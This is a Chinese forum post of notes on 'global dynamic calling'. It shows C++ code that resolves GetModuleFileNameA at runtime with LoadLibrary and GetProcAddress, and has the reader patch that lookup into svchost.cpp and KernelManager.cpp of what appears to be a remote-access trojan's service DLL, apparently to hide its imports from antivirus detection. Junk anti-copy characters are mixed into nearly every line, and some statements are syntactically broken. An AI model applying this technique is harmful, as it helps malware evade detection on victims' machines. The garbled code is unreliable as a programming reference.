[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记7 h  j+ S) K( e7 U* |
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h# W5 `- s3 T, e' G
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DTDY.h：* x* z3 g; ~2 k/ \
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#if _MSC_VER>1000
' Z7 a, N; i+ j/ l% J, W#pragma once9 ?7 O; `/ Y5 e, K, p7 z
#endif //_MSC_VER>1000
! F5 Z- c- y1 B5 s6 }! Z& j#include<windows.h>9 ^* q1 ^( L' H$ o7 G
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# H& z- Z; R! @' x) y' Z0 Z
class DTDY* g: d; [$ N1 J/ T' m- Y) h' N6 o
{
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DTDY();3 k" K  m: o3 y/ A7 Q9 Q! l
virtual ~DTDY();. l- f  a+ r: `0 ?- J
public:- I" Y; Q* F0 j' W+ K6 v% b3 k9 a) F. _
static pGetModuleFileNameA MyGetModuleFileName;
  [' B+ f! j3 h! q( r; _static BOOL FunInitiallization();
0 ~( }" W5 _$ Q/ a3 Q% w6 j};
4 s" K6 Y, o: b* m#endif2 u5 }4 H4 Y  S5 c
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! H; s0 ~. r' ~( C: v# UDTDY.cpp:
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#include "DTDY.h"
# H% g% C$ j7 UpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;8 ?% j) o  y" h' L3 s
DTDY:TDY(), N9 [3 \& Q+ W( r6 t4 J, J; {
{
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( E! P: {5 F. p+ b* [4 K3 \DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()8 ?9 k6 A) L1 ^, g
{
8 j/ Q5 l1 D' b. e- X1 m( U) J5 VHMODULE hModule=LoadLibrary("kernel32.dll");7 s  b6 x& T' c' b
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
: ]; N& Q/ m, s' bif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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svchost.cpp:) C+ ^% F! g4 ], r# W  H8 J5 [- O- g

( v. d5 F* \. n- F  z# c#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" @4 r4 z& I/ o. e. G- u{
$ z% U* c% F5 b/ ?switch(ul_reason_for_call); O1 Y4 k4 Q, x; `+ E: ~2 ^8 y& a
{
2 q9 S$ W2 f* M+ c) @! v# Q8 F) h# |: s0 `case DLL_PROCESS_ATTACH:
) N; `0 G( `) y+ ]. F* Hif(!DTDY::FunInitiallization()) return FALSE;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
5 N6 C7 Y3 D6 G) F5 g改写为
! V# q6 C' i9 V* r  m1 ODTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));& N% H0 k' X) _1 f% {
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KernelManager.cpp:9 i* j$ o5 h3 v: U! `/ s' Z  g" A
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#include "../DTDY.h"
* i+ C# a% E9 zGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 W) \; I5 M. ?, h1 T2 K
改写为
* d$ a  Z" {0 i# ]4 e# b. P4 ^DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& k3 t. n! G; ?! k* D" \" d- Z
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